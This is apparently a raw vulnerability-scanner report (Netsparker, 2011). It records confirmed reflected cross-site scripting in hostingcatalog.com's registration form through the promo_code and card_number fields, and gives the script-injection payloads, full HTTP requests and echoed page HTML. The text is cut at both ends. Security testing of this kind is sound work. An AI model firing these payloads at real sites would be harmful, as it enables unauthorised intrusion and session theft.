<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='E77A3A5876ED01D21884569DD645B52DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='E77A3A5876ED01D2DE396A448816E9076F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='E77A3A5876ED01D293A2B6B74D340F13C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D2D3E28596B43461BBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='E77A3A5876ED01D27EF990AF98870C1F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='E77A3A5876ED01D2E3623BD7B2342F7EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='E77A3A5876ED01D250D0F5A194071214C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='E77A3A5876ED01D2932534543C842FB96F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='E77A3A5876ED01D2BB6718B71BEE3198C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='E77A3A5876ED01D22706F106F98E8E856F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='E77A3A5876ED01D281C07C8CF547CCF7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='E77A3A5876ED01D2D47AB5E44A252BE4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='E77A3A5876ED01D263AF3A6AE5B371CEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D268A56E9A2AB4F452C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='E77A3A5876ED01D2899B1C9B2BFF073DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='E77A3A5876ED01D220FD4DFED793D932C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='E77A3A5876ED01D23C676C65142EC8406F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='E77A3A5876ED01D21E5F1E145E44A2236F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='E77A3A5876ED01D25DE1EAA47ADB02166F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST '"--></style></script><script>alert(0x001DDB)</script>
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001DDB)%3c%2fscript%3e&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:18:27 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='E77A3A5876ED01D20F428AF0F0403F0BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='E77A3A5876ED01D221581B032CC83CCC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='E77A3A5876ED01D27F5160BAE4D8ED5CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D2A1382097FAA2584AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='E77A3A5876ED01D29132516B19D1B8C46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='E77A3A5876ED01D24AD98EB19E78079EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='E77A3A5876ED01D2342AC960C455DD51C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='E77A3A5876ED01D25CB2E2A17B843A146F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='E77A3A5876ED01D2E0D127D6BA9870E2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='E77A3A5876ED01D2B416740B99E00C4A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='E77A3A5876ED01D24B03B87FA3FA2888C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='E77A3A5876ED01D2F259429D93FA76E3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='E77A3A5876ED01D256AD2C1AF6B3FDC8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D296EA7B5361223091C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='E77A3A5876ED01D2E3D00E411B7F05EFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='E77A3A5876ED01D2F9F574EB89777698C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='E77A3A5876ED01D289653042A0BA7F2A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='E77A3A5876ED01D2E68E9D0D006228966F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='E77A3A5876ED01D2B4A1220146F35A476F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST '"--></style></script><script>alert(0x001DEB)</script>
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001DEB)%3c%2fscript%3e&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:18:38 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge 